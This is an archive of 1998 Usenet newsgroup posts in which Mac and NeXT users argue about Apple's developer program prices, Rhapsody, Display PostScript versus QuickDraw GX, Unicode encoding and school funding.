References: <ldo-2403981003100001@a24.hn1.wave.co.nz> <3519F50E.2E4C51B@trilithon.com> <1998Mar30.113319@lsl> <352C3C0F.5CB6E295@rs6000.cmp.ilstu.edu> <1998Apr9.095048@lsl>
In article <1998Apr9.095048@lsl>, paul@lsl.co.uk (Paul Hardy) wrote:
>
> Has anyone seen anything recent and definitive from Adobe (or anyone else)
> about the precise future status of DPS ?
>
I'm busy wading thru the GS-510 docs at present (filed on my other machine
at home), & seem to remember noting something to the effect that Adobe had
donated the DPS API to one of the X- groups
chapter & verse to follow...
--
Peter Kerr bodger
School of Music chandler
University of Auckland NZ neo-Luddite
From: terry <dont@spam.me>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 15 Apr 1998 02:19:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <35347BFC.794BDF32@spam.me>
References: <35330720.2781E494@spam.me> <B158FE9F-55170@206.165.43.147>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Lawson English wrote:
[ ... government enforcement of (presumably) desirable standards ... ]
> OK, but it would still be nice to have the government's
> endorsement, even if it turned out eventually that the
> government's endorsement wasn't used. How many times does
> this happen (that the grass-roots initiative proves stronger)
> compared to the other way around?
The obvious cheap-shot answer to this question is another
question: "Can you name one government currently in power
that has remained in power, intact, for the last 1000
years?".
The real answer here, though, is that there is still a technical
disagreement to be resolved, and any governmental endorsement
before an academically correct answer is reached will probably
result in something that shouldn't win getting the gold ring.
I'm clearly in the Unicode camp (from my posts this should be
obvious), and I dislike Postscript, just as I dislike any other
standard for which the reference implementation is unavailable
and the technology itself encumbered by patents, trade secrets,
and other problems which make the standard closed.
Unicode has its own problems, since it is inherently biased
in favor of closed rendering technologies in general (and
PostScript in particular), but you can't say the same about
ISO 10646. All you can say is that the other 2^16-1 code
pages haven yet been allocated in such a way as the language
bigots who want to be able to strip all non-QQQ text out of
a mixed QQQ/RRR language document (fill in your own language
values for QQQ and RRR).
Yet.
My take on this issue (as an FS geek, I have a vested interest
in being able to support storage of multiple languages in FS
directory namespaces simultaneously) is that 16 bit wchar_t
encoding solves a *lot* of problems, including letting me
attribute 8 bit namespace supporting NFS servers directory
name spaces by which round-trip character set they represent.
I personally don't view the Han unification problem as something
that needs to be resolved at the character code point encoding
level. I think the font representation is a problem for the
tools, and the Unicode is a tool for data driven localization.
If you want multinationalization between countries that don't
have shared character sets that can be round-tripped into and
out of, you need to do one of two things:
1) Implement the font switching using a compounding mechanism
(not specified; use your favorite one).
or
2) Convince the countries in question to create a national
standard containing both sets of unified characters
simultaneously, and then ratify the thing, forcing the
allocation of an ISO 10646 code page with the ununified
characters to support round-tripping from the national
standard.
I'm pretty sure that user won't care about the underlying
technology used to implement their document storage, so
long as it works.
As I said in another post: the translators and linguistic
scholars who care about multinationalization are a tiny
portion of the potential market. Their applications get
to eat the overhead, instead of forcing the overhead into
all applications.
My money is currently on 16 bit wchar_t's with ISO 10646
code page zero (Unicode), not UTF encoded (I have this
funny need for fixed field input screens and size/sizeof()
record counting to keep working).
Terry Lambert
---
Any opinions in this posting are my own and not those of my present
or previous employers.
From: bl003@dial.oleane.com (Benoit Leraillez)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Wed, 15 Apr 1998 08:43:13 +0200
Organization: Guest of OLEANE
Message-ID: <1d7hyde.2aw64w1wrpcesN@dialup-143.def.oleane.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <xhsof-0804981448100001@hobbit1.injep.fr> <6ggs48$oop$2@ironhorse.plsys.co.uk> <6ghf6g$e1u$1@geraldo.cc.utexas.edu> <6giu6s$6j$5@anvil.BLaCKSMITH.com> <ericb-0904981644570001@132.236.171.104> <6gloht$oop$16@ironhorse.plsys.co.uk> <1d7apla.113m8av1925s32N@dialup-202.def.oleane.com> <6gq8bi$oop$20@ironhorse.plsys.co.uk> <1d7hiez.175fusloje5kyN@dialup-230.def.oleane.com> <6h06pj$oop$45@ironhorse.plsys.co.uk>
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mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> Oh great, so you'd rather trust MacInTouch's report rather than the official
> announcement...?
Couldn't find it again :-/
> ... from Apple which did specifically include students:
> "...Apple is reinforcing its commitment to education by offering
> WebObjects Enterprise Developer version (v3.5) and WebObjects
> Enterprise Unlimited Deployment to educational customers (student,
> staff, faculty) for academic and university-related administrative
> use for $99..." ^^^^^^^^^^^^^^
------------------------------------------------------------------------
And thus:
In <1d7apla.113m8av1925s32N@dialup-202.def.oleane.com> I wrote:
> 1 WebObject is 99$ for administrative use only..
mmalcolm crawford <malcolm@plsys.co.uk> answered:
> Where does it say that?
------------------------------------------------------------------------
> Satisfied?
How about you! You answered yourself ;-)
I'd like to take a look at the fine print for this offer though.
Benoît Leraillez
From: terry <dont@spam.me>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 15 Apr 1998 02:33:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <35347F16.15FB7483@spam.me>
References: <6gvit9$8u$6@ns3.vrx.net> <B15903E4-68E92@206.165.43.147> <6h013d$bnb$3@ns3.vrx.net> <slrn6j7p2e.ei4.jason@jhste1.dyn.ml.org>
MIME-Version: 1.0
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Jason S. wrote:
] Maury Markowitz wrote:
] >In <B15903E4-68E92@206.165.43.147> "Lawson English" claimed:
] >
] >[snipped the irrelivant portion]
] >
] >Maury
]
] Play nice.
]
] --
] If FreeBSD actually did that, I would concede that FreeBSD was
] any more "correct" than Linux is, but not even the FreeBSD
] people can justify that kind of performance loss.
]
] -- Linus Torvalds on comp.unix.advocacy
Heh. Coming from someone with a signature quoting a post in
which Linus Torvalds was incorrectly assuming that the "sync"
argument to the FFS mount command acted identically to the
"sync" argument to the EXT2FS mount command, and was later
corrected on the point. He was confusing "synchronous writes
of all metadata without regard to async user data writes" with
"ordering metadata writes *with* regard to async user data
writes, using synchronous disk writes as an implementation
detail".
Well, I guess I have to say "Play nice".
8-) 8-).
PS: The article in question was cross-posted to the non-advocacy
group comp.unix.os.freebsd.misc and another advocacy group,
comp.os.linux.advocacy. You may want to add them to your
attribution line.
Terry Lambert
---
Any opinions in this posting are my own and not those of my present
or previous employers.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 14 Apr 1998 11:48:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B158FE9F-55170@206.165.43.147>
References: <35330720.2781E494@spam.me>
nntp://news.primenet.com/comp.sys.next.advocacy
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terry <dont@spam.me> said:
> Lawson English wrote:
>
> > 2) The *government* of the countries that use languages that
> > have these kinds of issues (it's more than just Hangul and
> > Sanskrit) are going to endorse standards that support them,
> > even if the average peasant can't afford it. Whatever the
> > government endorses will eventually trickle down into the
> > economy.
>
> This is actually provably false, by example.
[example snipt]
OK, but it would still be nice to have the government's endorsement, even
if it turned out eventually that the government's endorsement wasn't used.
How many times does this happen (that the grass-roots initiative proves
stronger) compared to the other way around?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: Wed, 15 Apr 1998 07:09:01 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <35345D0D.4E834B73@nstar.net>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <3532DAA4.895A8924@nstar.net> <ymHY.15$iH3.214767@news.itd.umich.edu> <3533C875.52A9@convex.com> <6h14er$hmh@newsb.netnews.att.com>
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gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
> >It's even easier, depending on the situation, to do all of the above
> >with *lower* per-unit costs. By leveraging his own talent, the
> >entrepreneur can achieve more with less money than a large corporation
> >in many cases. When he's a larger concern and has to pay attention to
> >unions, affirmative action, and the EPA, his costs are going up, not
> >down.
>
> I think you utterly miss the point.
>
> Is BeOS is going to succeed in the market-place ?
>
> It doesn't matter how inexpensively Be can produce its OS, and
> port it to various machines. Let Be have zero union problems,
> zero affirmative action, zero EPA costs.
>
> The cost to a consumer in using BeOS is that he would have to
> pay for the production of all the software that provides the
> functionality that he could get with Windows.
>
> Even if development for Be is 1/100th the cost of developing
> for Windows, the stuff for Windows already exists and has been
> paid for, by of the order of 100 million users. It is thus
> very difficult, no matter how efficient and superior,
> for Be to succeed.
If the crux of your argument is that it is difficult for a second-comer
to overcome market inertia, then I must believe that you support
government intervention on a daily basis in hundreds of worldwide
markets on behalf of literally millions of underdog products.
If the basis for government intervention is that "it is very
difficult...for [name your competitor] to succeed", you and I sit on
opposite ends of the political spectrum, irreconcilably so. Let me
explain briefly: I believe in free-markets, you believe in socialism.
MJP
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 15 Apr 1998 10:16:34 GMT
Organization: P & L Systems
Message-ID: <6h21e2$oop$48@ironhorse.plsys.co.uk>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104>
<trumbull-0704981900290001@net44-223.student.yale.edu> <xhsof-0804981448100001@hobbit1.injep.fr>
<6ggs48$oop$2@ironhorse.plsys.co.uk> <6ghf6g$e1u$1@geraldo.cc.utexas.edu>
<6giu6s$6j$5@anvil.BLaCKSMITH.com> <ericb-0904981644570001@132.236.171.104>
<6gloht$oop$16@ironhorse.plsys.co.uk> <1d7apla.113m8av1925s32N@dialup-202.def.oleane.com>
<6gq8bi$oop$20@ironhorse.plsys.co.uk> <1d7hiez.175fusloje5kyN@dialup-230.def.oleane.com>
<6h06pj$oop$45@ironhorse.plsys.co.uk> <1d7hyde.2aw64w1wrpcesN@dialup-143.def.oleane.com>
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Cc: bl003@dial.oleane.com
In <1d7hyde.2aw64w1wrpcesN@dialup-143.def.oleane.com> Benoit Leraillez wrote:
> mmalcolm crawford <malcolm@plsys.co.uk> wrote:
>
> > ... from Apple which did specifically include students:
> > "...Apple is reinforcing its commitment to education by offering
> > WebObjects Enterprise Developer version (v3.5) and WebObjects
> > Enterprise Unlimited Deployment to educational customers (student,
> > staff, faculty) for academic and university-related administrative
> > use for $99..." ^^^^^^^^^^^^^^
> ------------------------------------------------------------------------
> And thus:
> In <1d7apla.113m8av1925s32N@dialup-202.def.oleane.com> I wrote:
> > 1 WebObject is 99$ for administrative use only..
>
> mmalcolm crawford <malcolm@plsys.co.uk> answered:
> > Where does it say that?
> ------------------------------------------------------------------------
> > Satisfied?
>
> How about you! You answered yourself€;-)
>
No, I'm not satisfied: you said it was *for administrative use only*.
The statement from Apple clearly includes student, staff and faculty.
> I'd like to take a look at the fine print for this offer though.
>
For heaven's sake -- what fine print do you need?!
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 15 Apr 1998 10:26:12 GMT
Organization: P & L Systems
Message-ID: <6h2204$oop$49@ironhorse.plsys.co.uk>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gsosb$oop$34@ironhorse.plsys.co.uk>
<gmgraves-1304981105070001@sf-usr1-44-172.dialup.slip.net> <6gvd4h$oop$37@ironhorse.plsys.co.uk>
<6h031a$msf$1@usenet85.supernews.com>
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Cc: mcgredo@otter.mbay.net
In <6h031a$msf$1@usenet85.supernews.com> Donald R. McGregor wrote:
> In article <6gvd4h$oop$37@ironhorse.plsys.co.uk>,
> mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> >> Oh, I dunno, I MIGHT (as a developer) want to develop my software
> >> for Rhapsody, or for Allegro. Can't do that WITHOUT actually having
> >> Rhapsody or Allegro, and the only way to get those is for Apple to
> >> seed them to you!
> >>
> >Nope. You could buy OPENSTEP/Enterprise, or WebObjects.
>
> I'd still want to do development on a Rhapsody system, rather
> than do it on OS and later port it. It's a win to be developing
> in the environment you'll be deploying in.
>
Umm, there's no port involved -- it Just Works.
> Besides, there's no Java in OS.
>
Fair point -- though there is in WebObjects. I'd still actually argue you to
use Obj-C rather than Java anyway, but chacun a son gout.
Best wishes,
mmalc.
From: pete@ohm.york.ac.uk (-bat.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 15 Apr 1998 10:25:15 GMT
Organization: The University of York, UK
Sender: pcf1@york.ac.uk
Message-ID: <6h21ub$cfe$1@pump1.york.ac.uk>
References: <B159B890-32953@206.165.43.108>
"Lawson English" <english@primenet.com> writes:
> Why are you defending DPS? If DPS is so seldom used in Rhapsody, why worry
> as long as Rhaposdy can produce the graphics that YOU want it to? Everyone
Because we don't have to change our software and learn something new to do it.
Which is, as far as I can make out, what 90% of this comes down to. You're
pissed off 'cos you know and like GX and they took it away. Fair enough,
I'd be pissed off if they'd kept GX and taken away DPS. I don't think either
of us really gives much of a monkeys about which is technocally better, - in
then end they both colour the pixels don't they ? It's just a quiestion of
having to re-learn things and change long acquired programming habits which
irritates people. I can be smug because I don't have to - and I can appreciate
that you are annoyed because you do.
People don't like change - I'm still exasperated that the japanese changed
the side on which they put the indicators on their cars as a sop to those
bits of the world that want to drive on the right. And it bugs me every time
I hit the windscreen wipers by accident and that I cant indicate and change
gear anymore. But thats life I guess, and I'll unlearn the old way given time.
Might even learn to enjoy front wheel drive too. Same with you, it's gonna be
a pain, but if you work with DPS for a while you'll get used to it, and if
there are really features you miss about GX then code up some nice objecty
replacements and drop them into the misc kit.
-bat.
From: andrew_abernathy@omnigroup.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.hardware.misc,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: letter to macnn about developer article
Date: 15 Apr 1998 10:47:44 GMT
Organization: Omni Development, Inc.
Message-ID: <6h238g$e1p$1@gaea.omnigroup.com>
References: <01bd67ec$731a7b20$2ef0bfa8@davidsul>
"NeXT Newbie" <macghod@concentric.net> wrote:
> >by Oliver Dueck
> >
> >Last week, Apple announced some drastic changes to its developer program.
> Prices were changed, services shuffled.
>
> No, prices were increased with no new services offered, or services deleted
Speak for yourself. The new programs saved me $50 as I don't need the
software seeds. (I have access to them at work, but don't need them at home.)
And once Rhapsody CR1 ships, it'll be $50 easier to get friends to try it as
a development platform.
---
andrew_abernathy@omnigroup.com - MIME mail ok
From: Dave Griffiths <dgriffit@acorn.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: America vs. Europe: education (was Re: Apple developer program)
Date: Wed, 15 Apr 1998 13:11:39 +0100 (BST)
Organization: Acorn Computers Ltd, Cambridge, United Kingdom
Message-ID: <ant1512391cbLJLo@om107.acorn.co.uk>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <6gsrle$oop$35@ironhorse.plsys.co.uk> <6gupoo$ogs$1@news3.alpha.net> <ericb-1404981442150001@132.236.171.104> <rmcassid-1404981222220001@dante.eng.uci.edu>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
In article <rmcassid-1404981222220001@dante.eng.uci.edu>,
<URL:mailto:rmcassid@uci.edu> wrote:
> We have no sense of pride behind a good education
You have a lot more than we do. One of the weirdest things about
living in America was to see all these bumper stickers saying stuff
like "My kid was swot of the month at Kissimmee High School". Any
self-respecting Brit kid would DIE of embarrassement if his parents
were ever so naff as to publically express their pride like that.
"We don't need no education..."
Dave
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 15 Apr 1998 11:56:55 GMT
Organization: P & L Systems
Message-ID: <6h27a7$oop$51@ironhorse.plsys.co.uk>
References: <6h0u82$44d$1@ha2.rdc1.sdca.home.com> <B159701C-344A1@207.217.155.17>
Mime-Version: 1.0
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Cc: brad@hutchings-software.com
In <B159701C-344A1@207.217.155.17> "Brad Hutchings" wrote:
> Rex Riley paraphrased Wil Shipley:
>
> ><Paraphrase> from Stepwise "Think Wisely" page:
>
Umm, what "Think Wisely" page?
> >"The truth is Apple's developer program was way too generous,..."
> >"... the new prices are chump change and those not making that much money
> >don't really need to be in the developer program"
> ></Paraphrase>
>
> Excellent paraphrase. It's time for cynical, evil me to issue a call for
> some severe attitude adjustment here. Listen NeXTies. There aren't enough
> of you writing software to make Rhapsody (as presented at 1997 WWDC)
> successful.
>
NeXTies? ex-NeXTies, perhaps. Right now, we're Apple Rhapsody developers,
thank you.
There may not be enough of us ex-NeXTies, but what about all the current Mac
developers who are screaming for access to Rhapsody. Where are all the apps
they're producing...?
> There were more of us doing OpenDoc, OK? We
> couldn't save that. I may be able to write a simple word processor in 20
> minutes with IB, and you may have been able to do that years ago, but it
> didn't make NeXT a ladybug on a truck's windshield w.r.t. the wider
> consumer market. Apple needs developers writing Rhapsody software if
> Rhapsody is going to be a success. These monthly announcements in ADN about
> so-and-so porting Enhanced-Niche-Do-Nothing-Product 5.6 to Rhapsody aren't
> going mean squat.
>
Drivel. Given the response of the Mac marketplace, if you expect Rhapsody to
sweep through as a consumer OS, you will be sorely disappointed. It will be
adopted in a number of nuiches, and expand from there. It is precisely these
Enhanced Niche Provide An Essential Solution products which will gain
Rhapsody a foothold.
Your analysis also omits YellowBox for MacOS...
> Now, Apple can get developers one of two ways. Apple can actively and
> positively court them, and do everything in its power short of paying them
> or giving them equipment to get them to write cool Rhapsody stuff that
> matters for a wide-audience OS.
>
So, they gave away PTR; and RDR has been available for over six months on the
previous program, and Apple has been saying for over a year that the
YellowBox is the development environment of the future. I hadn't noticed
that the strategy has been overwhelmingly successful in winning developers
over to OPENSTEP...
Where are all the product announcements?
It seems to me like it's being left to us ex-NeXTies to do most of the hard
work while folks like you just whine about Apple not supporting you enough.
We're taking a risk and investing here. And I'd guess most of us had exit
strategies and were looking to get out of OPENSTEP development prior to the
Apple "acquisition", so please don't try on the "So where would you be
without Apple" line.
[...]
> While the rest of the business world is working to treat its customers like
> partners, anachronistic Apple, under the direction of that dictator in
> bought 16 months ago, wants to treat its partners like customers.
>
Sounds fair to me. As a partner I don't know what I can expect from Apple;
as a customer I feel I can expect service and value for money, and can
complain if I don't get it.
mmalc.
Date: Wed, 15 Apr 1998 08:21:19 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Message-ID: <joe.ragosta-1504980821190001@wil34.dol.net>
References: <B15999CB-D0FD2@207.217.155.17> <B159B91A-3498F@206.165.43.108>
In article <B159B91A-3498F@206.165.43.108>, "Lawson English"
<english@primenet.com> wrote:
> Brad Hutchings <brad@hutchings-software.com> said:
>
> > Rhapsody doesn't do that (compound documents, user
> > components, OO graphics). You know what really sucks from my POV?
> > Neither
> > will the MacOS for much longer.
>
> ??????
>
> First Cyberdog, now OpenDoc itself?
>
> The hand of Jobs scribbles out what he doesn't understand, and moves on...
This is really, really sad. Do you spend your whole life complaining about
irrelevancies outside of computers, too?
OpenDoc FAILED. Get it? Not enough people used it to justify its
existence. The cross-platform capabilities never appeared, at least partly
due to Apple's "partners".
Most of what OpenDoc offered (cross-platform capabilities and modular
software) are already present in Rhapsody.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 15 Apr 1998 12:07:06 GMT
Organization: P & L Systems
Message-ID: <6h27ta$oop$52@ironhorse.plsys.co.uk>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104>
<6ggs48$oop$2@ironhorse.plsys.co.uk> <6ghf6g$e1u$1@geraldo.cc.utexas.edu>
<6giu6s$6j$5@anvil.BLaCKSMITH.com> <ericb-0904981644570001@132.236.171.104>
<6gloht$oop$16@ironhorse.plsys.co.uk> <ericb-1304982021040001@132.236.171.104>
<6gve4s$oop$40@ironhorse.plsys.co.uk> <ericb-1404981437160001@132.236.171.104>
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Cc: ericb@pobox.com
In <ericb-1404981437160001@132.236.171.104> Eric Bennett wrote:
> In article <6gve4s$oop$40@ironhorse.plsys.co.uk>, mmalcolm crawford
> <malcolm@plsys.co.uk> wrote:
>
> > Then how about waiting until they make an announcement, and then whining
if
> > they don't live up (or down to your...) to expectations?
>
> How long should I wait? The plan for regular developers has been around
> for a long time. Rhapsody DR1 came out last September. Does it really
> take seven months to make an announcement?
>
In the case of Rhapsody, yes.
I think it's reasonable to expect you to wait until WWDC for further
announcements, given that that's what the rest of us are doing, and when
Apple themselves have said that announcements will be made...
> (Also remember that I've been waiting for a "real" [sorry Don!] OS from
> Apple for a long time. My patience does have limits. Seven months may
> not seem that bad. What if it stretches into 12 months? What if it
> doesn't happen at all? At some point you *have* to give up on Apple, and
> I think it's natural for me to start grumbling when I'm tired of waiting.
> You didn't go through the Copland fiasco.)
>
I think it's reasonable to expect you to wait until WWDC for further
announcements, given that that's what the rest of us are doing, and when
Apple themselves have said that announcements will be made...
> > Like WebObjects for $99? Official.
>
> I have an Apple computer product. Can I run WebObjects on MacOS, or do I
> need to buy another computer--not an Apple product--in order to run it
> without Rhapsody?
>
Yes, you have to use Windows. Your choice.
> > I am not rehashing old rumours, I am passing on information I have
received
> > from asking people within Apple directly, from paying careful attention
to
> > press releases, announcements etc., and extrapolating from directions
> > indicated by other pricing structures.
>
> Extrapolating or otherwise predicting Apple's future behavior has always
> proven to be quite dangerous! But I accept the point (as reinforced in
> your email) that you claim to have information not available to the
> general public.
>
No, my email quite explicitly showed that the information *is* publicly
available (the announcement was clearly public), but the only source of the
information I have to hand is private.
mmalc.
Date: Wed, 15 Apr 1998 08:24:16 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Message-ID: <joe.ragosta-1504980824160001@wil34.dol.net>
References: <trumbull-1404981049260001@net44-223.student.yale.edu> <B159695D-1AF11@207.217.155.17>
In article <B159695D-1AF11@207.217.155.17>, "Brad Hutchings"
<brad@hutchings-software.com> wrote:
> Ben Trumbull responding to mmalc:
>
> >You said Apple changed the dev program to prevent people from abusing it
> >because Apple was losing money on it. You and other people suggested
> >Apple was "subsidizing" hobbyist developers.
>
> I expect this variety of strawman (developers abusing purchasing program)
> from the likes of Joe Ragosta. The fact is there are developers who do not
> abuse the purchasing program. This "abuse excuse" was never stated in any
> official Apple statement, nor have any Apple employees mentioned it as a
> reason for effectively ending hardware purchasing discounts for developers.
ONCE AGAIN, I'll ask you to quit throwing my name around every time
someone says something you don't like.
I never made the argument you're complaining about, so please don't imply
that I did.
Maybe some day you'll learn to respond to arguments--and not personalities.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 15 Apr 1998 08:40:42 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody for the Open minded
Message-ID: <joe.ragosta-1504980840420001@wil34.dol.net>
References: <35330720.2781E494@spam.me> <B158FE9F-55170@206.165.43.147> <35347BFC.794BDF32@spam.me>
In article <35347BFC.794BDF32@spam.me>, terry <dont@spam.me> wrote:
> The obvious cheap-shot answer to this question is another
> question: "Can you name one government currently in power
> that has remained in power, intact, for the last 1000
> years?".
The government of the Vatican?
But isn't this off topic?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 15 Apr 1998 08:17:16 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6h1qec$os8$2@ns3.vrx.net>
References: <6h0114$bnb$2@ns3.vrx.net> <B1598B35-5BAB4@206.165.43.216>
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In <B1598B35-5BAB4@206.165.43.216> "Lawson English" claimed:
> You talk to former GX team members in e-mail? Oh, you mean Dan Lipton.
>
> Mike Paquette of Team 1 contributes to these threads all the time.
Point taken.
> ??? Team 1 makes comments that I assert are biased. Team 2 CAN'T make
> comments because it isn't around any more and I suggest that if they WERE
> still around, that they would be biased also.
Biased in what way though? Can it not be possible that the technical
details are indeed meaningless in these cases? I think it is, I'm writing
production code with it.
> Mike Paquette works for Apple.
But I haven't seen much of a "story" from him.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: 15 Apr 1998 08:28:52 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6h1r44$os8$4@ns3.vrx.net>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <3533C875.52A9@CONVEX.COM>
<E0RY.22$BO3.157419@news.itd.umich.edu> <6h0at1$h5v$2@ns3.vrx.net>
<6h15cp$55q$1@jetsam.uits.indiana.edu>
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Cc: glhansen@copper.ucs.indiana.edu
In <6h15cp$55q$1@jetsam.uits.indiana.edu> Gregory Loren Hansen claimed:
> No matter what distribution system you use, development costs are
> independent of market share. Even with an electronic distribution system,
> or especially with an electronic distribution system, the more copies you
> sell, the lower the per unit cost can be while still making up the
> development costs.
Sure, but there's much more to a product than development costs - they may
in fact be a small part. Support is _exponential_ with shipped units for
instance, and service costs are typically close to linear.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 15 Apr 1998 08:25:21 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6h1qth$os8$3@ns3.vrx.net>
References: <3534431D.AD9C2AA6@trilithon.com> <B159B890-32953@206.165.43.108>
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Cc: english@primenet.com
In <B159B890-32953@206.165.43.108> "Lawson English" claimed:
> Directly, you mean. I understand that the DPS engine can render things
> faster than GX in many ways. I accept that. I just wanna have the ability
> to do in Rhapsody the kinds of things that I can with GX.
This is still a forest for the trees issue Lawson. If the app you're
developing needs 1000 lines of PS code (and mine, a graphics app, likely
doesn't even have anything close to that) whereas 100 would do in GX, this
nicety is completely washed away by the fact that simply to get the program
running under MacOS takes thousands of lines, and maybe none at all on OS.
For instance, my radial fills are fancier than Illustrators, yet that took
THREE LINES of PS.
> Making 4-star apps for Macintosh, like Ready, Set, Go! or LIghtningDraw
> Pro, or Creator2.
GlyphiX, when released this summer, will be the best diagramming app in the
world, bar none.
Maury
Subject: Re: America vs. Europe: education (was Re: Apple developer program)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <6gsrle$oop$35@ironhorse.plsys.co.uk> <6gupoo$ogs$1@news3.alpha.net> <ericb-1404981442150001@132.236.171.104> <rmcassid-1404981222220001@dante.eng.uci.edu> <MPG.f9e0bd4339572849898ae@news.supernews.com>
In-Reply-To: <MPG.f9e0bd4339572849898ae@news.supernews.com>
From: not@my.address.net
Message-ID: <EG2Z.30$p5.231928@news.itd.umich.edu>
Date: Wed, 15 Apr 1998 13:33:24 GMT
NNTP-Posting-Date: Wed, 15 Apr 1998 09:33:24 EDT
On 04/14/98, Donald Brown wrote:
>pouring more money into systems just hasn't worked.
>The public systems in the inner cities have had large amounts of money
>given to them without any visible improvements.
>
Let's be honest about the level of funding for inner city public schools.
In a lot of cases the toilets are broken and they can't afford to fix them.
I'm not saying money is the answer. I'm just saying let's be honest about
what they've had to work with.
>Private schools, OTOH, spend far less per pupil and do a much better job
>of educating students (at least by the measures we're discussing here).
Confounding cause: Parents who send their kids to private schools usually
have a greater than average commitment to their children's education. The
kids are also more likely to have had a breakfast, live in a home with a
computer, visit the local public library with a parent, etc. etc.
>One point made about why this happens is that the public schools have to
>handle the troublemakers and problem students. My response would be
>"exactly". If you screw up in a private school, you're out of there and
>there are real consequences. If you screw up in a public school, you
>stay anyway.
There are lots of angry and troubled kids in elementary and middle schools.
We can't toss them all out. Someone's got to work with them. Even in
highschool, the carrot and stick approach only works insofar as you're
working with semi-rational agents. Most of these kids have a hard time
understanding the implications of their decisions. You could say, "So much
the worse for them; they have to start sometime". But we have to live with
those bad decisions. I'd rather not have to rely on a 15 year old kid
understanding the consequences and making the right choice.
--
invert: umich.edu jdevlin
insert: shift "2"
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 15 Apr 1998 08:36:38 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6h1rim$os8$6@ns3.vrx.net>
References: <6gvit9$8u$6@ns3.vrx.net> <B15903E4-68E92@206.165.43.147>
<3533E109.A3A5ACA6@trilithon.com> <6h0akt$h5v$1@ns3.vrx.net>
<353440A7.1E1FE7E@trilithon.com>
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In <353440A7.1E1FE7E@trilithon.com> Henry McGilton claimed:
> I don't have any good feel for the approach. It sounds like it'll
> work OK, but might involve more work than needed from the server.
Quite possible. I came across my solution in attempting to solve another
problem (bounding rects of the interior of objects as seen from arbitrary
rotations) and found the speed to be surprisingly fast.
